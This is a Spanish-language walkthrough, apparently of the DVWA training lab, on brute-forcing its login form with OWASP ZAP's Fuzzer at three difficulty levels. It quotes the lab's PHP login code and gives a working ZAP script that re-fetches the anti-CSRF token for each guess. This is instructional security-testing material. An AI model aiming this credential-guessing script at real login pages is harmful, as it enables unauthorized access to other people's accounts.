Saltar al contenido principal

Fuerza Bruta

El ataque de fuerza bruta es un método utilizado para descifrar contraseñas, claves de cifrado o acceder a sistemas vulnerables probando exhaustivamente todas las combinaciones posibles hasta encontrar la correcta. Este ataque se basa en la simplicidad de intentar todas las opciones sin utilizar atajos ni heurísticas.

  • Prueba exhaustiva de combinaciones: El atacante utiliza un software para probar todas las combinaciones posibles de caracteres hasta encontrar la contraseña correcta. Este método garantiza el éxito si se dispone de tiempo suficiente y recursos computacionales.

  • Ataques de diccionario: Utilizan listas predefinidas de palabras comunes y frases potenciales que las personas suelen utilizar como contraseñas. Este enfoque es más rápido que probar todas las combinaciones posibles, pero menos exhaustivo.

  • Automatización: Los atacantes emplean herramientas y scripts que automatizan el proceso de prueba, permitiendo realizar millones de intentos por segundo, lo que acelera significativamente el tiempo de descifrado.

Bajo

Si entramos en el nivel inicial, nos encontramos con un formulario de login. Si probamos con un usuario y contraseña cualquiera, vemos que se envía mediante una petición GET.

Formulario de Login

Url basica

Para utilizar la intercepción de peticiones mediante OWASP ZAP y luego aplicar fuerza bruta, solo tenemos que abrir el navegador controlado desde el propio OWASP ZAP haciendo clic en el icono del navegador, como se muestra en la siguiente imagen resaltado en el cuadro rojo.

Desde el navegador que se nos abre, vamos a la web que necesitemos interceptar y activamos la intercepción haciendo clic en el icono verde, que vemos resaltado en la imagen con el cuadro azul.

iconos OWASP ZAP

Una vez que hemos llegado con el navegador controlado por OWASP ZAP a la URL que queremos, lo que vamos a realizar es mandarlo al Fuzzer para que haga por nosotros el trabajo de fuerza bruta.

Enviar petición al Fuzzer

Esto nos abre la siguiente ventana, donde tenemos que seleccionar dónde queremos realizar el Fuzzing.

Configuracón Fuzzer

Para ello, seleccionamos la parte de la petición que queremos fuzzear y le damos a Add, lo cual nos abre la ventana de configuración del payload. Le damos a agregar un nuevo payload y nos permite varias configuraciones. En nuestro caso, cargaremos un diccionario con usuarios y contraseñas.

Configurar payload usuarios

Configurar payload usuarios

Configurar payload contraseñas

Una vez configurado el ataque, solo tenemos que darle a Start Fuzzer y esperar. En la parte de abajo de OWASP ZAP nos aparecerá una pestaña con el ataque.

Resultados ataque

Una vez finalizado, nos tenemos que fijar en la columna Size Resp. Body y buscar cuál es diferente en tamaño; esa será nuestra contraseña correcta.

Tamaño respuesta

Si nos fijamos en las que están repetidas, veremos en la respuesta de la petición el mensaje que vemos en el formulario cuando fallamos un usuario y contraseña.

Tamaño respuesta

Y si comprobamos la respuesta de la petición con un tamaño diferente, veremos que el contenido ha cambiado.

Tamaño respuesta

Ahora solo nos queda probar el usuario y contraseña para acceder a nuestra página protegida.

Área protegida

Medio

Cuando accedemos al nivel medio y probamos el usuario y contraseña, nos encontramos con el mismo funcionamiento que en el nivel bajo. Pero si revisamos el código:


<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Observamos que la única diferencia es que tiene un sleep(2) si se falla el usuario y contraseña, por lo que solo tenemos que repetir el nivel bajo y tener más paciencia.

Ataque medio

Alto

En este nivel, cuando probamos un usuario y contraseña, si nos fijamos en la URL, tiene un token para evitar los ataques CSRF.

Url nivel alto

El propio OWASP ZAP tiene un sistema para detectar los tokens CSRF y poderlos saltar, pero tiene un problema, como se observa en la imagen, solo vale para parámetros FORM y no nos vale para el token en la URL.

Anti CSRF

Para poder solucionar esto, vamos a usar la potencia de scripting que tiene OWASP ZAP y vamos a extender un script que creó la comunidad en su día para solucionar este problema de DVWA y que se pueda configurar en el momento de usar los scripts y no en el propio código, como está en el FAQ de OWASP ZAP

Lo primero que tenemos que hacer es abrir el gestor de scripts, que se encuentra en la barra de la derecha en el +

Abrir scripts

Nos vamos a la sección de Fuzzer HTTP Processor, donde crearemos un nuevo script, haciendo clic derecho y seleccionando New Script..., lo que nos abrirá la ventana para crearlo.

Abrir scripts

Al crearlo, se nos creará un esqueleto inicial para nuestro script:

// Auxiliary variables/constants needed for processing.
var count = 1;

/**
* Processes the fuzzed message (payloads already injected).
*
* Called before forwarding the message to the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} message - The fuzzed message, that will be forward to the server.
*/
function processMessage(utils, message) {
// To obtain the list of payloads:
// utils.getPayloads()
// To obtain original message:
// utils.getOriginalMessage()
// To stop fuzzer:
// utils.stopFuzzer()
// To increases the error count with a reason:
// utils.increaseErrorCount("Reason Error Message...")
// To send a message, following redirects:
// utils.sendMessage(myMessage)
// To send a message, not following redirects:
// utils.sendMessage(myMessage, false)
// To add a message previously sent to results:
// utils.addMessageToResults("Type Of Message", myMessage)
// To add a message previously sent to results, with custom state:
// utils.addMessageToResults("Type Of Message", myMessage, "Key Custom State", "Value Custom State")
// The states' value is shown in the column 'State' of fuzzer results tab
// To get the values of the parameters configured in the Add Message Processor Dialog.
// utils.getParameters()
// A map is returned, having as keys the parameters names (as returned by the getRequiredParamsNames()
// and getOptionalParamsNames() functions below)
// To get the value of a specific configured script parameter
// utils.getParameters().get("exampleParam1")

// Process fuzzed message...
message.getRequestHeader().setHeader("X-Unique-Id", count);
count++;
}

/**
* Processes the fuzz result.
*
* Called after receiving the fuzzed message from the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpFuzzResult} fuzzResult - The result of sending the fuzzed message.
* @return {boolean} Whether the result should be accepted, or discarded and not shown.
*/
function processResult(utils, fuzzResult){
// All the above 'utils' functions are available plus:
// To raise an alert:
// utils.raiseAlert(risk, confidence, name, description)
// To obtain the fuzzed message, received from the server:
// fuzzResult.getHttpMessage()
// To get the values of the parameters configured in the Add Message Processor Dialog.
// utils.getParameters()
// A map is returned, having as keys the parameters names (as returned by the getRequiredParamsNames()
// and getOptionalParamsNames() functions below)
// To get the value of a specific configured script parameter
// utils.getParameters().get("exampleParam1")

var condition = true;
if (condition)
fuzzResult.addCustomState("Key Custom State", "Message Contains X")

return true;
}


/**
* This function is called during the script loading to obtain a list of the names of the required configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface
*/
function getRequiredParamsNames(){
return ["exampleParam1", "exampleParam2"];
}

/**
* This function is called during the script loading to obtain a list of the names of the optional configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface
*/
function getOptionalParamsNames(){
return ["exampleParam3"];
}

Ahora vamos a modificar el script inicial por el siguiente código. La función processMessage modifica el mensaje HTTP antes de enviarlo al servidor, actualizando su URL y añadiendo un token CSRF extraído dinámicamente del contenido de una página. processResult simplemente indica si el resultado del mensaje fuzzed debe aceptarse. getRequiredParamsNames devuelve los nombres de los parámetros necesarios para configurar el procesamiento del mensaje. getPageContent envía un mensaje HTTP y obtiene su contenido de respuesta, mientras que extractInputFieldValue busca y extrae el valor de un campo de entrada específico en el HTML de la página. Finalmente, replace actualiza el valor de un parámetro específico en la lista de parámetros del mensaje. De esta manera, modificaremos la petición para poder evadir el CSRF en el ataque de fuerza bruta.

/**
* Processes the fuzzed message (payloads already injected).
*
* Called before forwarding the message to the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} message - The fuzzed message, that will be forward to the server.
*/
function processMessage(utils, message) {
var SOURCE_URL = utils.getParameters().get("Source URL");
var CSRF_TOKEN_NAME = utils.getParameters().get("CSRF Token name");
utils.getParameters().get("exampleParam1");
var REQUEST_URI = new org.apache.commons.httpclient.URI(SOURCE_URL, true);
var msg = message.cloneRequest();
msg.getRequestHeader().setURI(REQUEST_URI);
var csrfTokenValue = extractInputFieldValue(getPageContent(utils, msg), CSRF_TOKEN_NAME);

var params = message.getUrlParams();
replace(params, CSRF_TOKEN_NAME, encodeURIComponent(csrfTokenValue));
message.getRequestHeader().setGetParams(params);
}

/**
* Processes the fuzz result.
*
* Called after receiving the fuzzed message from the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpFuzzResult} fuzzResult - The result of sending the fuzzed message.
* @return {boolean} Whether the result should be accepted, or discarded and not shown.
*/
function processResult(utils, fuzzResult){
return true;
}

/**
* This function is called during the script loading to obtain a list of the names of the required configuration parameters,
* that will be shown in the Add Message Processor Dialog for configuration. They can be used
* to input dynamic data into the script, from the user interface.
*
* @return {Array<String>} An array containing the names of the required configuration parameters.
*/
function getRequiredParamsNames(){
return ["Source URL", "CSRF Token name"];
}

/**
* Retrieves the content of the page for a given message.
*
* Sends the specified message and retrieves the response body as a string.
* Adds the message to the results with a descriptive label.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpMessage} msg - The message to be sent and processed.
* @return {String} The response body of the message.
*/
function getPageContent(utils, msg) {
var CSRF_TOKEN_NAME = utils.getParameters().get("CSRF Token name");
utils.sendMessage(msg);
utils.addMessageToResults("Refresh " + CSRF_TOKEN_NAME, msg);
return msg.getResponseBody().toString();
}

/**
* Extracts the value of an input field from the given HTML content.
*
* Parses the provided HTML content and retrieves the value of the input field with the specified name.
*
* @param {String} page - The HTML content of the page.
* @param {String} fieldName - The name of the input field whose value is to be extracted.
* @return {String} The value of the specified input field, or an empty string if not found.
*/
function extractInputFieldValue(page, fieldName) {
var Source = Java.type("net.htmlparser.jericho.Source");
var src = new Source(page);

var it = src.getAllElements('input').iterator();

while (it.hasNext()) {
var element = it.next();
if (element.getAttributeValue('name') == fieldName) {
return element.getAttributeValue('value');
}
}
return '';
}

/**
* Replaces the value of a parameter in the given list of parameters.
*
* Iterates through the list of parameters and sets the value of the parameter with the specified name to the provided value.
*
* @param {List} params - The list of parameters to be modified.
* @param {String} name - The name of the parameter whose value is to be replaced.
* @param {String} value - The new value to be set for the specified parameter.
*/
function replace(params, name, value) {
var it = params.iterator();

while (it.hasNext()) {
var param = it.next();
if (param.getName() == name) {
param.setValue(value);
return;
}
}
}

Ahora que lo tenemos cargado, vamos a usarlo. Para ello, tenemos que repetir los pasos anteriores de configurar los payloads, pero antes de realizar el ataque tenemos que configurar el script.

Configurar message processor

Lanzamos el ataque y vemos que el script que hemos creado va realizando peticiones para recuperar el token y enviarlo en la siguiente petición hasta que obtenemos la contraseña correcta.

Ataque alto